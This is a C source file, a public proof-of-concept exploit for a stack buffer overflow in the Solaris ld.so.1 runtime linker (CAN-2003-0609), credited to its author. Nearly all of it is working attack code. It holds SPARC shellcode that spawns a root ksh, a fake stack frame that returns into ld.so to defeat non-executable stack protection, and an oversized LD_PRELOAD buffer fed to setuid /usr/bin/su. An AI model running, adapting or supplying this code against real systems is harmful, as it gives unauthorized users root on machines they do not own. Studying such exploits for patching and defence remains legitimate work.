/*
 * $Id: raptor_ldpreload.c,v 1.1.1.1 2004/12/04 14:35:34 raptor Exp $
 *
 * raptor_ldpreload.c - ld.so.1 local, Solaris/SPARC 2.6/7/8/9
 * Copyright (c) 2003-2004 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * Stack-based buffer overflow in the runtime linker, ld.so.1, on Solaris 2.6
 * through 9 allows local users to gain root privileges via a long LD_PRELOAD
 * environment variable (CAN-2003-0609).
 *
 * This exploit uses the ret-into-ld.so technique, to effectively bypass the
 * non-executable stack protection (noexec_user_stack=1 in /etc/system). This
 * is a weird vulnerability indeed: the standard ret-into-stack doesn't seem 
 * to work properly for some reason (SEGV_ACCERR), and at least my version of 
 * Solaris 8 (Generic_108528-13) is very hard to exploit (how to reach ret?).
 * 
 * Usage:
 * $ gcc raptor_ldpreload.c -o raptor_ldpreload -ldl -Wall
 * $ ./raptor_ldpreload
 * [...]
 * # id
 * uid=0(root) gid=1(other)
 * # 
 *
 * Vulnerable platforms:
 * Solaris 2.6 with 107733-10 and without 107733-11 [untested]
 * Solaris 7 with 106950-14 through 106950-22 and without 106950-23 [untested]
 * Solaris 8 with 109147-07 through 109147-24 and without 109147-25 [untested]
 * Solaris 9 without 112963-09 [tested]
 */

#include <dlfcn.h>
#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/systeminfo.h>

#define  INFO1  "raptor_ldpreload.c - ld.so.1 local, Solaris/SPARC 2.6/7/8/9"
#define  INFO2  "Copyright (c) 2003-2004 Marco Ivaldi <raptor@0xdeadbeef.info>"

#define  VULN  "/usr/bin/su"    // default setuid target
#define  BUFSIZE  1700       // size of the evil buffer
#define  FFSIZE  64 + 1      // size of the fake frame
#define  DUMMY  0xdeadbeef    // dummy memory address
#define  ALIGN  3      // needed address alignment

/* voodoo macros */
#define  VOODOO32(_,__,___)  {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;}
#define  VOODOO64(_,__,___)  {_+=7-(_+(__+___+1)*4+3)%8;}

char sc[] = /* Solaris/SPARC shellcode (12 + 48 = 60 bytes) */
/* setuid() */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
/* execve() */
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";

/* globals */
char  *env[256];
int  env_pos = 0, env_len = 0;

/* prototypes */
int   add_env(char *string);
void  check_zero(int addr, char *pattern);
int  search_ldso(char *sym);
int  search_rwx_mem(void);
void   set_val(char *buf, int pos, int val);

/*
 * main()
 */
int main(int argc, char **argv)
{
  char  buf[BUFSIZE], ff[FFSIZE];
  char  platform[256], release[256];
  int  i, offset, ff_addr, sc_addr, str_addr;
  int  plat_len, prog_len, rel;
  
  char  *arg[2] = {"foo", NULL};
  int  arg_len = 4, arg_pos = 1;

  int  sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
  int  ret = search_ldso("strcpy");
  int  rwx_mem = search_rwx_mem();

  /* print exploit information */
  fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

  /* get some system information */
  sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
  sysinfo(SI_RELEASE, release, sizeof(release) - 1);
  rel = atoi(release + 2);

  /* prepare the evil buffer */
  memset(buf, 'A', sizeof(buf));
  buf[sizeof(buf) - 1] = 0x0;
  memcpy(buf, "LD_PRELOAD=/", 12);
  buf[sizeof(buf) - 2] = '/';

  /* prepare the fake frame */
  bzero(ff, sizeof(ff));

  /* 
   * saved %l registers
   */
  set_val(ff, i  = 0, DUMMY);    /* %l0 */
  set_val(ff, i += 4, DUMMY);    /* %l1 */
  set_val(ff, i += 4, DUMMY);    /* %l2 */
  set_val(ff, i += 4, DUMMY);    /* %l3 */
  set_val(ff, i += 4, DUMMY);    /* %l4 */
  set_val(ff, i += 4, DUMMY);    /* %l5 */
  set_val(ff, i += 4, DUMMY);    /* %l6 */
  set_val(ff, i += 4, DUMMY);    /* %l7 */

  /*
   * saved %i registers
   */
  set_val(ff, i += 4, rwx_mem);    /* %i0: 1st arg to strcpy() */
  set_val(ff, i += 4, 0x42424242);  /* %i1: 2nd arg to strcpy() */
  set_val(ff, i += 4, DUMMY);    /* %i2 */
  set_val(ff, i += 4, DUMMY);    /* %i3 */
  set_val(ff, i += 4, DUMMY);    /* %i4 */
  set_val(ff, i += 4, DUMMY);    /* %i5 */
  set_val(ff, i += 4, sb - 1000);    /* %i6: frame pointer */
  set_val(ff, i += 4, rwx_mem - 8);  /* %i7: return address */

  /* fill the envp, keeping padding */
  sc_addr = add_env(ff);
  str_addr = add_env(sc);
  add_env("bar");
  add_env(buf);
  add_env(NULL);

  /* calculate the offset to argv[0] (voodoo magic) */
  plat_len = strlen(platform) + 1;
  prog_len = strlen(VULN) + 1;
  offset = arg_len + env_len + plat_len + prog_len;
  if (rel > 7)
    VOODOO64(offset, arg_pos, env_pos)
  else
    VOODOO32(offset, plat_len, prog_len)

  /* calculate the needed addresses */
  ff_addr = sb - offset + arg_len;
  sc_addr += ff_addr;
  str_addr += ff_addr;

  /* set fake frame's %i1 */
  set_val(ff, 36, sc_addr);    /* 2nd arg to strcpy() */
  
  /* fill the evil buffer */
  for (i = 12 + ALIGN; i < 1296; i += 4)
    set_val(buf, i, str_addr);  /* must be a valid string */
  /* to avoid distance bruteforcing */
  for (i = 1296 + ALIGN; i < BUFSIZE - 12; i += 4) {
    set_val(buf, i, ff_addr);
    set_val(buf, i += 4, ret - 4);  /* strcpy(), after the save */
  }

  /* print some output */
  fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
  fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
  fprintf(stderr, "Using string address\t: 0x%p\n", (void *)str_addr);
  fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
  fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
  fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr);
  fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);

  /* run the vulnerable program */
  execve(VULN, arg, env);
  perror("execve");
  exit(0);
}

/*
 * add_env(): add a variable to envp and pad if needed
 */
int add_env(char *string)
{
  int  i;

  /* null termination */
  if (!string) {
    env[env_pos] = NULL;
    return(env_len);
  }

  /* add the variable to envp */
  env[env_pos] = string;
  env_len += strlen(string) + 1;
  env_pos++;

  /* pad the envp using zeroes */
  if ((strlen(string) + 1) % 4)
    for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
      env[env_pos] = string + strlen(string);
      env_len++;
    }

  return(env_len);
}

/*
 * check_zero(): check an address for the presence of a 0x00
 */
void check_zero(int addr, char *pattern)
{
  if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
      !(addr & 0xff000000)) {
    fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
    exit(1);
  }
}

/*
 * search_ldso(): search for a symbol inside ld.so.1
 */
int search_ldso(char *sym)
{
  int    addr;
  void    *handle;
  Link_map  *lm;

  /* open the executable object file */
  if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
    perror("dlopen");
    exit(1);
  }

  /* get dynamic load information */
  if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
    perror("dlinfo");
    exit(1);
  }

  /* search for the address of the symbol */
  if ((addr = (int)dlsym(handle, sym)) == NULL) {
    fprintf(stderr, "sorry, function %s() not found\n", sym);
    exit(1);
  }

  /* close the executable object file */
  dlclose(handle);

  check_zero(addr - 4, sym);
  return(addr);
}

/*
 * search_rwx_mem(): search for an RWX memory segment valid for all
 * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
 */
int search_rwx_mem(void)
{
  int  fd;
  char  tmp[16];
  prmap_t  map;
  int  addr = 0, addr_old;

  /* open the proc filesystem */
  sprintf(tmp,"/proc/%d/map", (int)getpid());
  if ((fd = open(tmp, O_RDONLY)) < 0) {
    fprintf(stderr, "can't open %s\n", tmp);
    exit(1);
  }

  /* search for the last RWX memory segment before stack (last - 1) */
  while (read(fd, &map, sizeof(map)))
    if (map.pr_vaddr)
      if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
        addr_old = addr;
        addr = map.pr_vaddr;
      }
  close(fd);

  /* add 4 to the exact address NULL bytes */
  if (!(addr_old & 0xff))
    addr_old |= 0x04;
  if (!(addr_old & 0xff00))
    addr_old |= 0x0400;

  return(addr_old);
}

/*
 * set_val(): copy a dword inside a buffer
 */
void set_val(char *buf, int pos, int val)
{
  buf[pos] =      (val & 0xff000000) >> 24;
  buf[pos + 1] =  (val & 0x00ff0000) >> 16;
  buf[pos + 2] =  (val & 0x0000ff00) >> 8;
  buf[pos + 3] =  (val & 0x000000ff);
}